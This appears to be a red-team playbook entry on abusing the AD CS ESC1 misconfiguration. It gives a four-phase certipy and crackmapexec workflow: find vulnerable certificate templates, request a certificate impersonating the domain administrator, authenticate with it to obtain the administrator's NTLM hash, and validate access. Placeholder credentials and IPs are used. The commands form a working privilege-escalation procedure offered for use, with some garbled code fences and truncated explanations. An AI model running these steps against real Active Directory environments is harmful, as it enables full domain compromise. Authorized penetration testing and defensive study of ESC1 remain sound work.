ad-cs-esc1-abuse

Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (like Domain Admins) and seamlessly escalate privileges across the entire AD environment.

AD CS Abuse - ESC1 (Subject Alternative Name)

When to Use

  • When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
  • To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)

# Concept: ESC1 ```

```bash
# certipy find -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -vulnerable

Phase 2: Requesting the Certificate

# Concept: With a vulnerable template certipy req -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local

Phase 3: Authenticating with the Certificate (Pass-the-Certificate)

# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local

Phase 4: Validating Access

# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
